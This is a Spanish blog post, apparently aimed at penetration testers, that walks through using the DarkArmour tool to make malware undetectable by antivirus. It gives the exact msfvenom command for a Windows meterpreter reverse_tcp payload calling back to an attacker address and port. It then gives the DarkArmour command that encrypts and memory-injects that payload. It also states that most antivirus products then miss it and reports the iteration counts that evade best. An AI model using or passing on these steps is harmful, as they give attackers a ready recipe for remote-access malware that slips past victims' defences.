Muy buenas a todos!

Esta semana vamos a poner a prueba una herramienta llamada DarkArmour, que promete generar binarios totalmente indetectables utilizando diferentes tipos de técnicas de evasión.

Hace ya un tiempo, estuvimos probando una herramienta similar llamada Shellter que podéis encontrar en este enlace.

A pesar de que el cometido final pueda ser el mismo, hay algunas diferencias importantes entre estas herramientas. Principalmente, el propósito de Shellter es infectar un binario legítimo con un payload, mientras que DarkArmour, utiliza técnicas de evasión (cifrado, inyección en memoria, etc..) en nuestro bicho para que no sea detectado por las soluciones antivirus.

Para poder llevarlo a la práctica, lo primero que necesitaremos será descargar el proyecto desde el siguiente enlace: git.dylan.codes/batman/darkarmour

En función de nuestro sistema operativo, tendremos que instalar algunas dependencias. Para las distros basadas en Debian, la sentencia de instalación será la siguiente:

sudo apt install mingw-w64-tools mingw-w64-common g++-mingw-w64 gcc-mingw-w64 upx-ucl osslsigncode

A continuación, necesitaremos generar un binario. En este caso, utilizaré msfvenom con un payload de meterpreter/reverse_tcp:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.160.129 LPORT=4444 -f exe -o exploit.exe

Ahora que ya tenemos todo lo necesario, consultaremos la ayuda para ver que nos ofrece esta herramienta escrita en Python. Para ello, lanzaremos el siguiente comando:

python3 darkarmour.py --help

Como podemos ver en la imagen anterior, tenemos diferentes opciones. En nuestro caso, vamos a realizar una prueba con el siguiente comando:

python3 darkarmour.py -f /root/exploit.exe -e xor -j -k darkbyte -l 500 -u -o /root/exploit_encoded.exe

Una vez finalizado el proceso (que variará en función de los loops que hayamos indicado), nos informará de los datos escritos en el binario:

Además de la información escrita, el ejecutable resultante lanzará una consola cada vez que se ejecute, en la que realizará un jump a la dirección de memoria donde se encuentra nuestro payload. Podemos comprobar los cambios utilizando los comandos ls y file:

Llegados a este punto, solo nos quedará escanear el binario y comprobar su funcionamiento. Si escaneamos el primer fichero generado exploit.exe podremos ver que el antivirus nos detectará inmediatamente:

En cambio, con la versión modificada exploit_encoded.exe la mayoría de antivirus no detectarán el payload, tal y como se muestra en la siguiente imagen:

Por último, ejecutaremos nuestro exploit y podremos comprobar que funciona sin ningún tipo de problema:

Como dato adicional, en las pruebas realizadas, los mejores resultados han sido obtenidos a partir de las 5000 iteraciones.

Espero que os haya gustado y os resulte útil en vuestras próximas auditorías.

Nos vemos en la próxima!